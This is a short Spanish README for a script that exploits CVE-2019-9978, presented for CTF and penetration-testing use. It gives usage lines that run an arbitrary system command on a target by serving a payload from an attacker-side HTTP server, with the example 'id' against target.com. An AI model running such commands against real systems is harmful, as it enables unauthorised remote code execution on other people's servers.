cve-2019-9978

Este es un script que permite explotar la vulnerabilidad CVE-2019-9978 de manera directa, pensado para su uso en desafíos Capture The Flag (CTF) o como prueba de concepto para pruebas de penetración.

Requisitos previos

• Python 3
• Librería Requests (Instalar con pip install requests)

Uso

1. Clonar o descargar este repositorio.
2. Abrir una terminal y navegar al directorio del script.
3. Ejecutar el script con las siguientes opciones:

   ./cve-2019-9978.py -u http://target.com:9999 -c "your_system_command" -l your_ip:your_port
   - `-u` or `--url`: Set the target URL to deliver the payload.
   - `-c` or `--command`: Set the system command to run on the target system.
   - `-l` or `--local`: Set the IP and port for the HTTP server (optional).

4. El script inicia un servidor HTTP, envía el payload al objetivo y muestra el resultado en la terminal.

Ejemplo

./cve-2019-9978.py -u http://target.com:9999 -c "id" -l 10.10.13.15:12345

Descargo de responsabilidad

Este código es únicamente para fines educativos y de prueba. El uso no autorizado en sistemas sin la debida autorización es ilegal y poco ético. Úsalo de manera responsable.